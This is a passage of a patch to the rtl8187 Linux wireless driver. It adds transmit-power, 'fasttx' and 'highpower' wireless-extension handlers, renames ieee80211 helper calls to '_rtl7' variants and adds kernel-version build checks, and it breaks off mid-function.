"r8180_rtl8225.h" #define RATE_COUNT 4 u32 rtl8180_rates[] = {1000000,2000000,5500000,11000000, 6000000,9000000,12000000,18000000,24000000,36000000,48000000,54000000}; - + static int r8180_wx_get_freq(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_freq(priv->ieee80211,a,wrqu,b); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_freq_rtl7(priv->ieee80211,a,wrqu,b); } @@ -45,28 +46,28 @@ { int *parms = (int *)b; int bi = parms[0]; - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); DMESG("setting beacon interval to %x",bi); - + priv->ieee80211->beacon_interval=bi; rtl8180_commit(dev); up(&priv->wx_sem); - - return 0; + + return 0; } static int r8180_wx_set_forceassociate(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); int *parms = (int *)extra; - + priv->ieee80211->force_associate = (parms[0] > 0); - + return 0; } @@ -75,108 +76,228 @@ static int r8180_wx_get_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_mode(priv->ieee80211,a,wrqu,b); + return ieee80211_wx_get_mode_rtl7(priv->ieee80211,a,wrqu,b); } -static int r8180_wx_get_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_rate(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_rate_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_set_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); + ret = ieee80211_wx_set_rate_rtl7(priv->ieee80211,info,wrqu,extra); - ret = ieee80211_wx_set_rate(priv->ieee80211,info,wrqu,extra); - up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_rawtx(struct net_device *dev, - struct iw_request_info *info, - union iwreq_data *wrqu, char *extra) +static int r8180_wx_get_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i=0; down(&priv->wx_sem); - - ret = ieee80211_wx_set_rawtx(priv->ieee80211, info, wrqu, extra); - + wrqu->power.value = 0; + for(i=0; i<15; i++) + { + if(priv->chtxpwr[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr_ofdm[i]; + } + wrqu->power.fixed = 1; + wrqu->power.flags = IW_TXPOW_DBM; + wrqu->power.disabled = 0; up(&priv->wx_sem); - + + return 0; +} + +#if 1 +static int r8180_wx_set_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + int ret = 0, i=0; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + down(&priv->wx_sem); + + if (wrqu->power.flags != IW_TXPOW_DBM) + { + ret = -EINVAL; + goto out; + } + + if(!(priv->highpower) && wrqu->power.value > priv->txpwr_max) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value > 35) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value < 0) + { + ret = -EINVAL; + goto out; + } + + for(i=1;i<15;i++) + { + priv->chtxpwr[i] = priv->chtxpwr_orig[i] - (priv->txpwr_max - wrqu->power.value); +// if(priv->chtxpwr[i] > priv->chtxpwr_orig[i]) priv->chtxpwr[i] = 0; + + priv->chtxpwr_ofdm[i] = priv->chtxpwr_ofdm_orig[i] - (priv->txpwr_max - wrqu->power.value); +// if(priv->chtxpwr_ofdm[i] > priv->chtxpwr_ofdm_orig[i]) priv->chtxpwr_ofdm[i] = 0; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + + out: + up(&priv->wx_sem); + return ret; - + } +#endif -static int r8180_wx_set_crcmon(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_crcmon(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = priv->crcmon; down(&priv->wx_sem); - - if(enable) + + if(enable) priv->crcmon=1; - else + else priv->crcmon=0; - DMESG("bad CRC in monitor mode are %s", + DMESG("bad CRC in monitor mode are %s", priv->crcmon ? "accepted" : "rejected"); if(prev != priv->crcmon && priv->up){ rtl8180_down(dev); rtl8180_up(dev); } - + + up(&priv->wx_sem); + + return 0; +} + +static int r8180_wx_set_fasttx(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int *parms = (int *)extra; + int enable = (parms[0] > 0); + short prev = priv->fasttx; + + down(&priv->wx_sem); + + if(enable) + priv->fasttx=1; + else + priv->fasttx=0; + + DMESG("Transmission method (regarding speed) set to: %s", + priv->fasttx ? "fast" : "normal"); + + if(prev != priv->fasttx && priv->up){ + rtl8180_down(dev); + rtl8180_up(dev); + } + up(&priv->wx_sem); - + + return 0; +} + +static int r8180_wx_set_highpower(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int *parms = (int *)extra; + int enable = (parms[0] > 0); + int i=0; + short prev = priv->highpower; + + down(&priv->wx_sem); + + if(enable) + priv->highpower=1; + else + priv->highpower=0; + + DMESG("Increasable transmission power %s", + priv->highpower ? "enabled" : "disabled"); + + if( (prev != priv->highpower) && !(priv->highpower) && (priv->chtxpwr[1] > priv->chtxpwr_orig[1]) ) + { + for(i=1;i<15;i++) + { + priv->chtxpwr[i] = priv->chtxpwr_orig[i]; + priv->chtxpwr_ofdm[i] = priv->chtxpwr_ofdm_orig[i]; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + wrqu->power.value = priv->txpwr_max; + } + + up(&priv->wx_sem); + return 0; } static int r8180_wx_set_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_mode(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_mode_rtl7(priv->ieee80211,a,wrqu,b); + rtl8187_set_rxconf(dev); - + up(&priv->wx_sem); return ret; } -static int rtl8180_wx_get_range(struct net_device *dev, - struct iw_request_info *info, +static int rtl8180_wx_get_range(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { struct iw_range *range = (struct iw_range *)extra; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u16 val; int i; @@ -186,26 +307,26 @@ /* Let's try to keep this struct in the same order as in * linux/include/wireless.h */ - + /* TODO: See what values we can set, and remove the ones we can't * set, or fill them with some default data. */ /* ~5 Mb/s real (802.11b) */ - range->throughput = 5 * 1000 * 1000; + range->throughput = 5 * 1000 * 1000; // TODO: Not used in 802.11b? // range->min_nwid; /* Minimal NWID we are able to set */ // TODO: Not used in 802.11b? // range->max_nwid; /* Maximal NWID we are able to set */ - + /* Old Frequency (backward compat - moved lower ) */ -// range->old_num_channels; +// range->old_num_channels; // range->old_num_frequency; // range->old_freq[6]; /* Filler to keep "version" at the same offset */ if(priv->rf_set_sens != NULL) range->sensitivity = priv->max_sens; /* signal level threshold range */ - + range->max_qual.qual = 100; /* TODO: Find real max RSSI and stick here */ range->max_qual.level = 0; @@ -219,14 +340,14 @@ range->avg_qual.updated = 7; /* Updated all three */ range->num_bitrates = RATE_COUNT; - + for (i = 0; i < RATE_COUNT && i < IW_MAX_BITRATES; i++) { range->bitrate[i] = rtl8180_rates[i]; } - + range->min_frag = MIN_FRAG_THRESHOLD; range->max_frag = MAX_FRAG_THRESHOLD; - + range->pm_capa = 0; range->we_version_compiled = WIRELESS_EXT; @@ -243,18 +364,18 @@ range->num_channels = 14; for (i = 0, val = 0; i < 14; i++) { - + // Include only legal frequencies for some countries if ((priv->challow)[i+1]) { range->freq[val].i = i + 1; - range->freq[val].m = ieee80211_wlan_frequencies[i] * 100000; + range->freq[val].m = ieee80211_wlan_frequencies_rtl7[i] * 100000; range->freq[val].e = 1; val++; } else { // FIXME: do we need to set anything for channels // we don't use ? } - + if (val == IW_MAX_FREQUENCIES) break; } @@ -267,15 +388,15 @@ static int r8180_wx_set_scan(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + if(!priv->up) return -1; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_scan(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } @@ -286,50 +407,50 @@ { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(!priv->up) return -1; - + down(&priv->wx_sem); - ret = ieee80211_wx_get_scan(priv->ieee80211,a,wrqu,b); - + ret = ieee80211_wx_get_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_essid(struct net_device *dev, +static int r8180_wx_set_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_essid(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_essid_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_essid(struct net_device *dev, +static int r8180_wx_get_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_get_essid(priv->ieee80211, a, wrqu, b); + + ret = ieee80211_wx_get_essid_rtl7(priv->ieee80211, a, wrqu, b); up(&priv->wx_sem); - + return ret; } @@ -338,30 +459,30 @@ union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_freq(priv->ieee80211, a, wrqu, b); - + + ret = ieee80211_wx_set_freq_rtl7(priv->ieee80211, a, wrqu, b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_name(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_name(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_name(priv->ieee80211, info, wrqu, extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_name_rtl7(priv->ieee80211, info, wrqu, extra); } -static int r8180_wx_set_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (wrqu->frag.disabled) priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; @@ -369,7 +490,7 @@ if (wrqu->frag.value < MIN_FRAG_THRESHOLD || wrqu->frag.value > MAX_FRAG_THRESHOLD) return -EINVAL; - + priv->ieee80211->fts = wrqu->frag.value & ~0x1; } @@ -377,11 +498,11 @@ } -static int r8180_wx_get_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); wrqu->frag.value = priv->ieee80211->fts; wrqu->frag.fixed = 0; /* no auto select */ @@ -397,49 +518,49 @@ char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_wap(priv->ieee80211,info,awrq,extra); - + + ret = ieee80211_wx_set_wap_rtl7(priv->ieee80211,info,awrq,extra); + up(&priv->wx_sem); return ret; - + } - -static int r8180_wx_get_wap(struct net_device *dev, - struct iw_request_info *info, + +static int r8180_wx_get_wap(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_wap(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_wap_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_get_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_encode(priv->ieee80211, info, wrqu, key); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_encode_rtl7(priv->ieee80211, info, wrqu, key); } -static int r8180_wx_set_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + DMESG("Setting SW wep key"); - ret = ieee80211_wx_set_encode(priv->ieee80211,info,wrqu,key); - + ret = ieee80211_wx_set_encode_rtl7(priv->ieee80211,info,wrqu,key); + up(&priv->wx_sem); return ret; } @@ -447,28 +568,28 @@ static int r8180_wx_set_scan_type(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *p){ - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms=(int*)p; int mode=parms[0]; - + priv->ieee80211->active_scan = mode; - + return 1; } -static int r8180_wx_set_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int err = 0; - + down(&priv->wx_sem); - - if (wrqu->retry.flags & IW_RETRY_LIFETIME || + + if (wrqu->retry.flags & IW_RETRY_LIFETIME || wrqu->retry.disabled){ err = -EINVAL; goto exit; @@ -485,13 +606,13 @@ if (wrqu->retry.flags & IW_RETRY_MAX) { priv->retry_rts = wrqu->retry.value; DMESG("Setting retry for RTS/CTS data to %d", wrqu->retry.value); - + }else { priv->retry_data = wrqu->retry.value; DMESG("Setting retry for non RTS/CTS data to %d", wrqu->retry.value); } - - /* FIXME ! + + /* FIXME ! * We might try to write directly the TX config register * or to restart just the (R)TX process. * I'm unsure if whole reset is really needed @@ -503,28 +624,28 @@ rtl8180_rtx_disable(dev); rtl8180_rx_enable(dev); rtl8180_tx_enable(dev); - + } */ exit: up(&priv->wx_sem); - + return err; } -static int r8180_wx_get_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + wrqu->retry.disabled = 0; /* can't be disabled */ - if ((wrqu->retry.flags & IW_RETRY_TYPE) == - IW_RETRY_LIFETIME) + if ((wrqu->retry.flags & IW_RETRY_TYPE) == + IW_RETRY_LIFETIME) return -EINVAL; - + if (wrqu->retry.flags & IW_RETRY_MAX) { wrqu->retry.flags = IW_RETRY_LIMIT & IW_RETRY_MAX; wrqu->retry.value = priv->retry_rts; @@ -533,30 +654,30 @@ wrqu->retry.value = priv->retry_data; } //DMESG("returning %d",wrqu->retry.value); - + return 0; } -static int r8180_wx_get_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - if(priv->rf_set_sens == NULL) + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->rf_set_sens == NULL) return -1; /* we have not this support for this radio */ wrqu->sens.value = priv->sens; return 0; } -static int r8180_wx_set_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + short err = 0; down(&priv->wx_sem); //DMESG("attempt to set sensivity to %ddb",wrqu->sens.value); @@ -571,7 +692,7 @@ exit: up(&priv->wx_sem); - + return err; } @@ -623,50 +744,55 @@ dummy, /* SIOCGIWRTS */ r8180_wx_set_frag, /* SIOCSIWFRAG */ r8180_wx_get_frag, /* SIOCGIWFRAG */ - dummy, /* SIOCSIWTXPOW */ - dummy, /* SIOCGIWTXPOW */ + r8180_wx_set_txpow, /* SIOCSIWTXPOW */ + r8180_wx_get_txpow, /* SIOCGIWTXPOW */ r8180_wx_set_retry, /* SIOCSIWRETRY */ r8180_wx_get_retry, /* SIOCGIWRETRY */ r8180_wx_set_enc, /* SIOCSIWENCODE */ r8180_wx_get_enc, /* SIOCGIWENCODE */ dummy, /* SIOCSIWPOWER */ dummy, /* SIOCGIWPOWER */ -}; +}; -static const struct iw_priv_args r8180_private_args[] = { - +static const struct iw_priv_args r8180_private_args[] = { { - SIOCIWFIRSTPRIV + 0x0, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" - }, - + SIOCIWFIRSTPRIV + 0x0, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "fasttx" + }, + { SIOCIWFIRSTPRIV + 0x1, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" - + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "highpower" }, + { - SIOCIWFIRSTPRIV + 0x2, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "rawtx" + SIOCIWFIRSTPRIV + 0x2, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" + }, + + { + SIOCIWFIRSTPRIV + 0x3, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" + } }; static iw_handler r8180_private_handler[] = { -// r8180_wx_set_monitor, /* SIOCIWFIRSTPRIV */ + r8180_wx_set_fasttx, /* SIOCIWFIRSTPRIV */ + r8180_wx_set_highpower, /*SIOCIWSECONDPRIV*/ r8180_wx_set_crcmon, /*SIOCIWSECONDPRIV*/ // r8180_wx_set_forceassociate, // r8180_wx_set_beaconinterval, // r8180_wx_set_monitor_type, r8180_wx_set_scan_type, - r8180_wx_set_rawtx, }; -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } @@ -679,8 +805,8 @@ .private = r8180_private_handler, .num_private = sizeof(r8180_private_handler) / sizeof(iw_handler), .num_private_args = sizeof(r8180_private_args) / sizeof(struct iw_priv_args), -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 .get_wireless_stats = r8180_get_wireless_stats, #endif - .private_args = (struct iw_priv_args *)r8180_private_args, + .private_args = (struct iw_priv_args *)r8180_private_args, }; diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c rtl8187_linux_26.1010.0622.2006.modified/beta-8187/r8187_core.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187_core.c 2006-06-21 22:43:30.000000000 -0700 +++ rtl8187_linux_26.1010.0622.2006.modified/beta-8187/r8187_core.c 2010-05-19 22:18:55.642702808 -0700 @@ -1,27 +1,27 @@ /* This is part of rtl8187 OpenSource driver - v 0.1 - Copyright (C) Andrea Merello 2005 + Copyright (C) Andrea Merello 2005 Released under the terms of GPL (General Public License) - - - Parts of this driver are based on the rtl8180 driver skeleton + + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers. - + some ideas might be derived from David Young rtl8180 netbsd driver. - + Parts of the usb code are from the r8150.c driver in linux kernel - + Some ideas borrowed from the 8139too.c driver included in linux kernel. - - We (I?) want to thanks the Authors of those projecs and also the + + We (I?) want to thanks the Authors of those projecs and also the Ndiswrapper's project Authors. - - A special big thanks goes also to Realtek corp. for their help in my - attempt to add RTL8187 and RTL8225 support, and to David Young also. - - Please note that this file is a modified version from rtl8180-sa2400 + A special big thanks goes also to Realtek corp. for their help in my + attempt to add RTL8187 and RTL8225 support, and to David Young also. + + - Please note that this file is a modified version from rtl8180-sa2400 drv. So some other people have contributed to this project, and they are thanked in the rtl8180-sa2400 CHANGELOG. */ @@ -57,6 +57,7 @@ #undef DEBUG_IRQ_TASKLET #undef DEBUG_TX_ALLOC #undef DEBUG_TX_DESC +#undef DEBUG_TX_POWER //#define CONFIG_RTL8180_IO_MAP @@ -66,6 +67,9 @@ #include "r8180_93cx6.h" /* Card EEPROM */ #include "r8180_wx.h" +#if !(defined(CONFIG_USB_EHCI_HCD) || defined (CONFIG_USB_EHCI_HCD_MODULE)) + #error Build your kernel with ehci_hcd support! +#endif // FIXME: check if 2.6.7 is ok #if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,7)) @@ -98,6 +102,10 @@ #endif static int channels = 0x3fff; +// #define DEBUG_EPROM +// #define DEBUG_REGISTERS +// #define DEBUG_TX_POWER + MODULE_LICENSE("GPL"); MODULE_VERSION("V 1.1"); MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); @@ -137,7 +145,7 @@ static int __devinit rtl8187_usb_probe(struct usb_interface *intf, const struct usb_device_id *id); - + static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf); static struct usb_driver rtl8187_usb_driver = { @@ -158,13 +166,12 @@ #endif }; - void write_nic_byte_E(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xfe00, 0, &data, 1, HZ / 2); @@ -173,10 +180,10 @@ void write_nic_byte(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 1, HZ / 2); @@ -185,10 +192,10 @@ void write_nic_word(struct net_device *dev, int indx, u16 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 2, HZ / 2); @@ -197,23 +204,23 @@ void write_nic_dword(struct net_device *dev, int indx, u32 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 4, HZ / 2); } - - - + + + u8 read_nic_byte(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 1, HZ / 2); @@ -223,22 +230,22 @@ u8 read_nic_byte_E(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xfe00, 0, &data, 1, HZ / 2); return data; } - + u16 read_nic_word(struct net_device *dev, int indx) { u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 2, HZ / 2); @@ -249,16 +256,16 @@ u32 read_nic_dword(struct net_device *dev, int indx) { u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 4, HZ / 2); return data; } -/* this might still called in what was the PHY rtl8185/rtl8187 common code +/* this might still called in what was the PHY rtl8185/rtl8187 common code * plans are to possibilty turn it again in one common code... */ inline void force_pci_posting(struct net_device *dev) @@ -271,7 +278,12 @@ //void set_nic_txring(struct net_device *dev); static struct net_device_stats *rtl8180_stats(struct net_device *dev); void rtl8180_commit(struct net_device *dev); + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work); +#else void rtl8180_restart(struct net_device *dev); +#endif /**************************************************************************** -----------------------------PROCFS STUFF------------------------- @@ -284,13 +296,13 @@ int *eof, void *data) { struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; int i,n; - + int max=0xff; - + /* This dump the current register page */ for(n=0;n<=max;) { @@ -307,7 +319,7 @@ len += snprintf(page + len, count - len,"\n"); - + *eof = 1; return len; @@ -319,16 +331,16 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "NIC int: %lu\n" "Total int: %lu\n", priv->stats.ints, priv->stats.shints); - + *eof = 1; return len; } @@ -339,10 +351,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "TX normal priority ok int: %lu\n" "TX normal priority error int: %lu\n" @@ -359,7 +371,7 @@ "TX HW queue: %d\n" "TX lp dropped: %lu\n" "TX np dropped: %lu\n" - "TX total data packets %lu\n", + "TX total data packets %lu\n", // "TX beacon aborted: %lu\n", priv->stats.txnpokint, priv->stats.txnperr, @@ -379,10 +391,10 @@ priv->stats.txdatapkt // priv->stats.txbeaconerr ); - + *eof = 1; return len; -} +} @@ -391,10 +403,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "RX packets: %lu\n" "RX urb status error: %lu\n" @@ -402,35 +414,44 @@ priv->stats.rxok, priv->stats.rxstaterr, priv->stats.rxurberr); - + *eof = 1; return len; -} - +} +#if WIRELESS_EXT < 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = 